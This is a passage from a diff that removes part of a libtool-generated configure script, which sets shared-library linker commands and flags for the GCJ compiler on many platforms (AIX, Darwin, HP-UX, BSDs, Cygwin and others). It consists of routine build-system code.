-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_GCJ=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_GCJ=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_GCJ='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, GCJ) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=no
- enable_shared_with_static_runtimes_GCJ=yes
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_GCJ='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_GCJ='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_GCJ='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_GCJ='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_GCJ='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_GCJ=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_GCJ='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_GCJ" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=yes
- archive_expsym_cmds_GCJ='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_GCJ=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_GCJ=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_GCJ='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_GCJ='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_GCJ=''
- hardcode_direct_GCJ=yes
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_GCJ=yes
- else
- # We have old collect2
- hardcode_direct_GCJ=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_libdir_separator_GCJ=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_GCJ=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_GCJ='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_GCJ="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_GCJ='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_GCJ="-z nodefs"
- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_GCJ=' ${wl}-bernotok'
- allow_undefined_flag_GCJ=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_GCJ='$convenience'
- archive_cmds_need_lc_GCJ=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_GCJ=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_GCJ=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ=' '
- allow_undefined_flag_GCJ=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_GCJ='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_GCJ='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_GCJ='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_GCJ='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_GCJ=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_GCJ=no
- hardcode_direct_GCJ=no
- hardcode_automatic_GCJ=yes
- hardcode_shlibpath_var_GCJ=unsupported
- whole_archive_flag_spec_GCJ=''
- link_all_deplibs_GCJ=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- freebsd1*)
- ld_shlibs_GCJ=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds_GCJ='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_GCJ='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_direct_GCJ=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_GCJ='+b $libdir'
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- ;;
- *)
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_GCJ='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- link_all_deplibs_GCJ=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_GCJ='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- newsos6)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- openbsd*)
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- allow_undefined_flag_GCJ=unsupported
- archive_cmds_GCJ='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_GCJ='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- ;;
-
